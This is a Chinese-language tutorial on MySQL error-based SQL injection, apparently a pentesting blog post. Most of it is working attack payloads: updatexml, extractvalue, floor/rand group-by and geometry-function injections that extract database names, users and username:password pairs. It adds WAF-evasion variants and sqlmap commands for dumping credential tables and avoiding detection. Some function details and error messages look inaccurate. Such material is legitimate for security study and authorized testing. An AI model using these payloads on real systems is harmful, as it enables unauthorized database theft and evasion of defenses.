SQL报错注入函数详解
一、报错注入概述
1.1 什么是报错注入?
想象一个保险柜,它不会直接告诉你密码是否正确,但每次你输入错误密码时,它会显示"第3位数字太大了"这样的提示。SQL报错注入正是利用了数据库的这种"话多"特性。
报错注入是一种高级SQL注入技术,攻击者通过精心构造恶意输入,故意触发数据库错误,然后从详细的错误信息中提取敏感数据。与传统SQL注入不同,它不依赖于页面正常显示的查询结果,而是"撬开"数据库的错误报告机制,让错误消息成为数据泄露的渠道。
例如,当向一个存在漏洞的搜索框输入:
1' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
如果应用未正确处理错误,页面可能会返回:
XPATH syntax error: '~security~'
如你所见,我们成功获取了当前数据库名security,而这一切都藏在一条错误信息中。
1.2 为何报错注入如此强大?
报错注入之所以在渗透测试中备受青睐,源于三个关键特性:
- 信息密度高:一条错误信息可能包含完整数据,而非盲注那样每次只能获取一位
- 反馈速度快:相比时间盲注等待响应延迟,错误信息即时可见
- 绕过能力强:当WAF过滤了UNION等关键字时,报错函数往往成为突破口
1.3 报错注入的应用场景有哪些?
-
隐形页面但错误可见
当Web应用不显示任何查询结果(如登录页面、搜索功能),但会将数据库错误原样返回给用户时。这种"沉默的页面,多话的错误"环境是报错注入的完美舞台。 -
联合查询被阻断
当安全设备或应用逻辑过滤了UNION、SELECT等关键字,或限制了返回字段数量时,报错注入成为绕过这些限制的有效手段。毕竟,防御者常常更关注正常查询路径,而忽略了错误处理通道。 -
需要高效数据提取
在渗透测试时间受限的情况下,报错注入比布尔盲注或时间盲注效率高得多。一个请求就能获取32个字符(MySQL的updatexml限制),而盲注可能需要数百个请求才能获取相同数据量。 -
绕过内容长度限制
有些应用会截断长响应内容,但错误信息往往能完整显示。利用报错注入,我们可以将敏感数据嵌入到错误消息的前部分,确保关键信息不被截断。 -
辅助验证盲注结果
在进行布尔盲注时,报错注入可以作为验证手段。当不确定某条件是否为真时,可以构造一个当条件为真时触发错误的payload,通过是否出现错误来确认结果。
注意:报错注入不是万能的。当应用实现了完善的错误处理(如自定义错误页面、错误信息过滤)时,我们需要转向盲注技术。根据环境灵活切换攻击策略,就像医生根据病情选择合适的治疗方案。
二、报错注入原理
2.1 错误回显机制
数据库系统在设计时注重开发者体验——当SQL语句执行出错时,会返回详细错误信息帮助调试。然而,当Web应用直接将这些错误信息显示给用户时,就为攻击者创造了机会。
核心原理:故意构造特殊SQL语句,使数据库在错误信息中包含我们想要的数据。
-- 正常查询(无害)
SELECT * FROM users WHERE id = 1;
-- 报错注入示例
SELECT * FROM users WHERE id = 1 AND updatexml(1,concat('~',(SELECT user()),'~'),1);
当执行注入语句时,MySQL会返回类似这样的错误:
XPATH syntax error: '~root@localhost~'
这个错误信息中隐藏了数据库用户信息root@localhost。攻击者通过精心设计查询,将敏感数据"包装"进错误消息中,实现了数据窃取。
2.2 报错注入的三个核心要素
成功的报错注入攻击需要三个关键环节紧密配合:
- 触发错误
选择能可靠产生错误的函数或语法,如:
- MySQL的
updatexml()、extractvalue()(XML函数) - GROUP BY`重复键冲突
- 类型转换错误(字符串转数字)
-
控制错误内容
精心构造错误信息的内容,使目标数据包含在其中:-- 使用concat()将查询结果嵌入错误信息 updatexml(1, concat('~', (SELECT database()), '~'), 1) -
提取敏感数据
从返回的错误信息中准确识别和提取所需数据:XPATH syntax error: '~my_database~' 目标数据 → my_database
这三个要素形成完整的攻击链:触发错误为载体,控制内容为手段,提取数据为目标。只有当应用未对数据库错误进行适当处理和过滤时,这一攻击链才能成功闭合。
理解这三个核心要素,是掌握各种报错注入技术的基础,也是构建有效防御的关键切入点。
三、十大报错函数详解
3.1 floor() + rand() + group by(主键冲突)
函数原型:
FLOOR(x) - 返回不大于x的最大整数
RAND([seed]) - 生成[0,1)区间的随机数,固定seed产生确定序列
攻击原理:
利用MySQL在GROUP BY处理过程中的内部机制,当使用RAND(0)产生确定性序列并与数据拼接时,由于FLOOR(RAND(0)*2)会产生重复值,导致分组键冲突,错误信息中包含冲突的完整键值。
Payload详解:
SELECT COUNT(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND(0)*2)) AS x
FROM information_schema.tables GROUP BY x;
RAND(0):固定种子保证序列可预测FLOOR(RAND(0)*2):生成0或1的重复序列information_schema.tables:提供足够行数确保冲突发生0x3a:十六进制冒号,作为数据分隔符
错误信息:Duplicate entry 'security_db:1' for key 'group_key'
特点:无需特殊函数支持,兼容性广,但依赖information_schema访问权限,且需要足够表数量(通常>3)。
3.2 extractvalue()(XML路径错误)
函数原型:
EXTRACTVALUE(xml_frag, xpath_expr)
攻击原理:
第二参数必须是合法的XPath表达式。当传入包含特殊字符(如~)与目标数据拼接的字符串时,解析失败并返回包含非法表达式的错误信息。
Payload详解:
EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER()),0x7e));
0x7e:十六进制~符号,作为数据边界标识1:任意合法XML文档(简化形式)- 有效字符限制:实际可提取32-64字符(受1024字节总错误长度限制)
错误信息:XPATH syntax error: '~root@localhost~'
特点:语法简洁,触发率高,但受字符长度严格限制。长数据需使用SUBSTR()分段提取,UTF8字符集下限制更严格。
3.3 updatexml()(XML更新错误)
函数原型:
UPDATEXML(xml_doc, xpath_expr, new_value)
攻击原理:
与extractvalue相同,第二参数必须是合法XPath。非法表达式导致解析错误,错误信息中包含整个非法路径。
Payload详解:
UPDATEXML(1,CONCAT(0x7e,(SELECT USER()),0x7e),1);
- 第一参数
1:简化的XML文档 - 第三参数
1:任意替换值(不影响错误触发) - 字符限制:同extractvalue,约32-50可见字符
错误信息:XPATH syntax error: '~root@localhost~'
特点:在某些WAF配置下比extractvalue更稳定,两者可互为备份。当目标系统过滤"EXTRACTVALUE"关键字时特别有用。
3.4 geometrycollection()(几何集合错误)
函数原型:
GEOMETRYCOLLECTION(geom [, geom]*)
攻击原理:
该函数严格要求参数为几何对象。当传入字符串时,类型转换失败并返回包含原始字符串的错误信息。
Payload详解:
GEOMETRYCOLLECTION((SELECT * FROM (SELECT USER() FROM DUAL) a));
- 两层子查询:确保返回单列单行结果
FROM DUAL:兼容Oracle语法,提高跨版本稳定性- MySQL 8.0+需强制类型转换:
GEOMETRYCOLLECTION(CONVERT((SELECT USER()), CHAR))
错误信息:Illegal non-geometric value found in GEOMETRYCOLLECTION: 'root@localhost'
特点:不依赖information_schema,极少被WAF规则覆盖。在MySQL 5.7+版本兼容性最佳,8.0版本需特殊处理。
3.5 multipoint()(多点坐标错误)
函数原型:
MULTIPOINT((x1 y1), (x2 y2), ...)
攻击原理:
函数期望接收点坐标对,当传入字符串时无法解析为坐标格式,触发类型错误。
Payload详解:
MULTIPOINT((SELECT * FROM (SELECT USER() FROM DUAL) a));
- 精简两层子查询,避免不必要的嵌套
- MySQL 8.0+需转换:
MULTIPOINT(CONVERT((SELECT USER() FROM DUAL), CHAR)) - 空间扩展必须启用(默认开启)
错误信息:Illegal non-point value found in MULTIPOINT: 'root@localhost'
特点:在WAF严格环境中成功率高,因为几何函数较少被监控。MySQL 5.7+版本支持最佳,8.0版本需要类型转换。
3.6 polygon()(多边形错误)
函数原型:
POLYGON((x1 y1, x2 y2, x3 y3, ...))
攻击原理:
要求有效的多边形坐标环,字符串无法解析为坐标序列,触发格式错误。
Payload详解:
POLYGON((SELECT * FROM (SELECT USER() FROM DUAL) a));
- 最小化子查询层级,确保兼容性
- MySQL 8.0+需添加:
ST_POLYGON(CONVERT(..., CHAR)) - 需要至少3个点定义多边形(由函数内部处理)
错误信息:Invalid polygon value in POLYGON: 'root@localhost'
特点:在某些MySQL配置下比其他几何函数更稳定,特别是当服务器启用严格空间数据验证时。
3.7 multipolygon()(多边形集合错误)
函数原型:
MULTIPOLYGON(((x1 y1, x2 y2, ...)), ((...)))
攻击原理:
对输入格式要求更严格,需要多个有效的多边形定义。字符串输入必然导致解析失败。
Payload详解:
MULTIPOLYGON((SELECT * FROM (SELECT USER() FROM DUAL) a));
- 两层子查询结构保持一致性
- MySQL 8.0+:
MULTIPOLYGON(CONVERT((SELECT USER() FROM DUAL), CHAR)) - 需要空间数据扩展支持
错误信息:Invalid multipolygon value in MULTIPOLYGON: 'root@localhost'
特点:语法复杂度高,较少被WAF规则覆盖。在MySQL 5.7+版本表现优异,特别适合渗透测试中作为备选方案。
3.8 linestring()(线串错误)
函数原型:
LINESTRING((x1 y1), (x2 y2), ...)
攻击原理:
需要至少两个点定义线条,字符串无法解析为坐标对,触发类型错误。
Payload详解:
LINESTRING((SELECT * FROM (SELECT USER() FROM DUAL) a));
- 两层子查询确保单值返回
- MySQL 8.0+:
LINESTRING(CONVERT((SELECT USER() FROM DUAL), CHAR)) - 需要空间数据功能启用(默认开启)
错误信息:Illegal non-linestring value found in LINESTRING: 'root@localhost'
特点:在MySQL 5.6+版本兼容性良好,8.0版本需要前缀ST_。错误信息格式标准化,数据提取成功率高。
3.9 multilinestring()(多线串错误)
函数原型:
MULTILINESTRING(((x1 y1), (x2 y2), ...), ((...)))
攻击原理:
处理多条线的集合,输入格式要求严格。字符串输入完全不符合坐标序列格式,必然触发错误。
Payload详解:
MULTILINESTRING((SELECT * FROM (SELECT USER() FROM DUAL) a));
- 保持两层子查询结构
- MySQL 8.0+:
MULTILINESTRING(CONVERT((SELECT USER() FROM DUAL), CHAR)) - 需要至少两条线定义(由函数内部处理)
错误信息:Illegal non-multilinestring value found in MULTILINESTRING: 'root@localhost'
特点:在最新MySQL版本中仍然有效,WAF绕过成功率高。适合现代系统渗透测试,特别是当其他函数被过滤时。
3.10 技术组合:exp()溢出保障机制
函数原型:
EXP(x) - 返回e的x次幂
~x - 位非运算符,将x转换为64位整数后取反
攻击原理:
exp()函数本身不会在错误信息中直接泄露数据。其主要价值在于作为错误触发保障机制,当内层查询产生包含数据的错误时,exp()确保该错误能够传播到应用层并被显示。
Payload详解:
-- 正确用法:exp()确保内层group by错误能够传播
EXP(~(SELECT * FROM (
SELECT COUNT(*) FROM information_schema.tables
GROUP BY CONCAT(0x7e,(SELECT DATABASE()),0x7e,FLOOR(RAND(0)*2))
) a));
-- 错误用法:单独使用exp()不会泄露数据
EXP(~(SELECT USER())); -- 只会产生数值溢出错误,不包含查询数据
- 内层:GROUP BY产生包含目标数据的重复键错误
- 外层:EXP(~(…))作为错误传播保障机制
~操作符:产生极大数值确保exp()必然溢出
错误信息:Duplicate entry '~security_db~1' for key 'group_key'(来自内层GROUP BY)
特点:不依赖XML功能,兼容MySQL 5.5.5+版本。主要用途是确保内层报错能够可靠触发,特别在严格错误处理环境中。单独使用exp()进行报错注入的效果有限。
函数选择参考
| 环境条件 | 首选函数 | 备选方案 | 注意事项 |
|---|---|---|---|
| 通用环境 | extractvalue | updatexml | 优先测试短数据提取 |
| 严格WAF | multipoint | multilinestring | 避开常见关键字过滤 |
| 长数据提取 | floor+group_by | 分段extractvalue | 确保有足够表数量 |
| 无information_schema | geometrycollection | 其他几何函数 | 验证空间扩展是否启用 |
| MySQL 8.0+ | ST_GeometryCollection | 带CONVERT的几何函数 | 必须添加类型转换 |
| 错误传播保障 | exp()+group_by组合 | 多层嵌套技术 | 确保内层产生数据错误 |
优先测试extractvalue和floor+group_by组合,这两种技术在现代系统中成功率最高。
exp()主要作为错误传播的保障机制,而非独立的数据提取手段。
始终准备3种以上备选payload,因为数据库配置和WAF规则差异极大。
理解每种技术的底层原理比记忆payload更重要,当一种方法失效时,能够快速调整策略才是真正的核心能力。
四、方法与技巧
4.1 高效数据提取策略
4.1.1 逐位提取法
适用场景:当报错函数有严格字符限制(如updatexml的32字符限制)
-- 提取数据库名第一位
SELECT * FROM products WHERE id=1 AND
UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT DATABASE()), 1, 1), -- 从位置1提取1个字符
0x7e), 1);
-- 通过修改位置参数提取后续字符
-- 位置2: SUBSTRING((SELECT DATABASE()), 2, 1)
特点:稳定可靠,但需要多次请求。适合提取关键短数据如管理员用户名。
4.1.2 批量提取法
适用场景:提取表名、列名等中等长度数据
-- 一次提取完整表名
SELECT * FROM products WHERE id=1 AND
UPDATEXML(1, CONCAT(0x7e,
(SELECT table_name FROM information_schema.tables
WHERE table_schema=DATABASE()
LIMIT 0,1), -- 获取第一个表名
0x7e), 1);
-- 通过修改LIMIT参数获取更多表
-- LIMIT 1,1 获取第二个表,依此类推
技巧:使用GROUP_CONCAT一次获取多个结果(注意长度限制):
UPDATEXML(1, CONCAT(0x7e,
(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables
WHERE table_schema=DATABASE()),
0x7e), 1);
4.1.3 长数据提取法
适用场景:提取密码哈希、配置信息等长数据
-- 方案一:floor()主键冲突技术(推荐,一次可提取较长数据)
SELECT * FROM products WHERE id=1 AND
(SELECT 1 FROM (SELECT COUNT(*),
CONCAT((SELECT GROUP_CONCAT(username,':',password) FROM users),
FLOOR(RAND(0)*2))x
FROM information_schema.tables GROUP BY x)a);
-- 方案二:updatexml分段提取(稳定可靠,兼容性好)
SELECT * FROM products WHERE id=1 AND
UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT GROUP_CONCAT(username,':',password) FROM users),
1, 30), -- 每次提取30字符
0x7e), 1);
-- 下一段继续提取
SELECT * FROM products WHERE id=1 AND
UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT GROUP_CONCAT(username,':',password) FROM users),
31, 30), -- 位置31-60
0x7e), 1);
-- 方案三:exp()用法(作为错误传播保障)
SELECT * FROM products WHERE id=1 AND
EXP(~(SELECT * FROM (SELECT COUNT(*) FROM
information_schema.tables
GROUP BY CONCAT(0x7e,(SELECT USER()),0x7e,FLOOR(RAND(0)*2))
)a));
说明:
exp()函数不能单独用于数据提取,它主要确保内层错误能够传播到应用层
长数据提取优先使用floor()技术,其次使用分段提取
4.2 绕过手段
4.2.1 编码绕过
原理:将敏感关键字或数据转换为不同编码格式,绕过基于字符串匹配的WAF
-- Hex编码(通用)
SELECT * FROM products WHERE id=1 AND
UPDATEXML(1, CONCAT(0x7e,
(SELECT UNHEX(HEX('admin'))), -- 双重编码绕过
0x7e), 1);
-- Unicode编码(特定环境)
SELECT * FROM products WHERE id=1 AND
UPDATEXML(1, CONCAT(0x7e,
(SELECT CHAR(0x61,0x64,0x6d,0x69,0x6e)), -- 'admin'的ASCII
0x7e), 1);
4.2.2 语法变形绕过
原理:通过SQL语法等价变形,绕过关键字检测
-- 使用注释分割关键字
SELECT * FROM products WHERE id=1 AND
UPDATEXML(1,CONCAT(0x7e,(SELECT/**/user/**/()),0x7e),1);
-- 使用内联注释(MySQL特有)
SELECT * FROM products WHERE id=1 AND
UPDATEXML(1,CONCAT(0x7e,(SELECT/*!50000user*/()),0x7e),1);
-- 混合大小写和特殊字符
SeLeCt * FrOm products WhErE id=1 aNd UpDaTeXml(1,CoNcAt(0x7e,(sElEct UsEr()),0x7e),1);
4.2.3 函数替代绕过
原理:当常用报错函数被过滤时,使用等效函数或冷门函数替代
-- updatexml被过滤 → 使用extractvalue
SELECT * FROM products WHERE id=1 AND
EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER()),0x7e));
-- XML函数都被过滤 → 使用几何函数族
SELECT * FROM products WHERE id=1 AND
GEOMETRYCOLLECTION((SELECT * FROM (SELECT USER())a));
SELECT * FROM products WHERE id=1 AND
MULTIPOINT((SELECT * FROM (SELECT USER())a));
SELECT * FROM products WHERE id=1 AND
POLYGON((SELECT * FROM (SELECT USER())a));
-- 几何函数也被过滤 → 使用floor()主键冲突
SELECT * FROM products WHERE id=1 AND
(SELECT 1 FROM (SELECT COUNT(*),
CONCAT((SELECT USER()),FLOOR(RAND(0)*2))x
FROM information_schema.tables GROUP BY x)a);
-- 极端情况:所有函数都被过滤 → 尝试exp()保障机制
SELECT * FROM products WHERE id=1 AND
EXP(~(SELECT * FROM (SELECT COUNT(*) FROM
information_schema.tables
GROUP BY CONCAT(0x7e,(SELECT USER()),0x7e,FLOOR(RAND(0)*2))
)a));
优先级:
首选:extractvalue → 语法相似,触发机制相同
次选:几何函数 → 冷门,WAF规则覆盖少
备选:floor()技术 → 不依赖特殊函数,兼容性最佳
最终:exp()保障 → 确保错误传播,提高成功率
4.3 绕过的思路
面对未知过滤机制,按以下顺序尝试:
- 基础测试:直接使用标准payload
- 空格绕过:用
/**/、+或%09替代空格 - 关键字绕过:注释、编码、大小写混合
- 函数替换:尝试不同报错函数(XML函数→几何函数→exp)
- 分段提取:将长查询拆分为多个短查询
测试标准payload → 被拦截?
↓是
尝试空格绕过 → 成功?
↓否 ↓是
尝试关键字绕过 → 提取数据
↓否
尝试函数替换
↓
分段提取
懒症犯了,不画流程图了,下次一定
4.4 注意事项
-
函数选择策略:
- 首选
updatexml或extractvalue(通用且错误信息清晰) - 被过滤时尝试
exp()(现代WAF较少拦截) - 严格环境使用几何函数(安全规则覆盖率低)
- 首选
-
数据分段技巧:
-- 分段提取长数据 ?id=1' AND UPDATEXML(1,CONCAT(0x7e, SUBSTRING((SELECT password FROM users WHERE id=1),1,30) ,0x7e),1)-- -- 下一段:位置31-60 ?id=1' AND UPDATEXML(1,CONCAT(0x7e, SUBSTRING((SELECT password FROM users WHERE id=1),31,30) ,0x7e),1)-- -
错误处理优化:
- 当遇到
Subquery returns more than 1 row错误时,添加LIMIT 1 - 当遇到语法错误时,检查引号闭合和注释符使用
- 使用
HEX()或CONV()函数处理特殊字符问题
- 当遇到
-
效率提升:
- 优先提取管理员账户,而非全部数据
- 使用
ORDER BY FIELD()定向提取高价值数据 - 结合
WHERE条件缩小查询范围,提高成功率
五、Sqlmap的自动化利用
Sqlmap是SQL注入检测和利用的强大工具,对报错注入有专门优化。
5.1 基础检测命令
# 仅检测报错注入技术(-technique=E)
sqlmap -u "http://example.com/product?id=1" --technique=E
# 指定数据库类型(提高检测效率)
sqlmap -u "http://example.com/product?id=1" --dbms=mysql --technique=E
关键参数:
--technique=E:只使用报错注入技术(Error-based)--dbms=mysql:指定MySQL数据库,避免无效测试-v 3:显示详细payload,便于学习和调试
详细参数介绍:https://blog.youkuaiyun.com/counting123/article/details/155396332?fromshare=blogdetail&sharetype=blogdetail&sharerId=155396332&sharerefer=PC&sharesource=counting123&sharefrom=from_link
高效数据提取
# 直接获取数据库用户和权限
sqlmap -u "http://example.com/product?id=1" --technique=E \
--current-user --is-dba
# 导出特定表数据(使用报错注入)
sqlmap -u "http://example.com/product?id=1" --technique=E \
-D dbname -T users -C username,password --dump
5.2 sqlmap工具利用思路
1.初步扫描:快速验证漏洞存在
sqlmap -u "http://example.com/product?id=1" --batch --technique=E
2.详细信息收集:
sqlmap -u "http://example.com/product?id=1" --technique=E \
--dbs --current-db --users
3.定向数据提取:
sqlmap -u "http://example.com/product?id=1" --technique=E \
-D target_db -T admin_users --dump
4.处理复杂场景(带Cookie和Header):
sqlmap -u "http://example.com/product?id=1" --technique=E \
--cookie="session=abcd1234" \
--headers="X-Requested-With: XMLHttpRequest"
在授权渗透测试中,使用--safe-url和--safe-freq参数模拟正常用户行为,避免触发安全警报:
sqlmap -u "http://example.com/product?id=1" --technique=E \
--safe-url="http://example.com/home" --safe-freq=3
掌握这些命令和技巧,可将手动报错注入的数小时工作压缩至几分钟,大幅提升渗透测试效率。但记住,工具只是辅助,理解底层原理才能应对最复杂的场景。
六、回归总结
报错注入的技术本质:
报错注入是利用数据库"诚实的错误"来窃取数据的高级攻击技术
核心在于"触发错误 → 控制内容 → 提取数据"的三步攻击链
不同的报错函数各有适用场景,需根据目标环境灵活选择
方法论
环境适应性:没有万能payload,必须根据MySQL版本、权限、WAF规则动态调整
技术组合:单一技术易被防御,组合使用可大幅提升成功率
效率优先:短数据用XML函数,长数据用GROUP BY冲突,特殊环境用几何函数
持续验证:每个步骤都要确认结果,避免在错误路径上浪费时间
本篇是作为这篇文章的分支所编写的:
以上就是本篇的全部内容,如果文章内有技术错误,欢迎大佬在评论区留言
1万+

被折叠的 条评论
为什么被折叠?



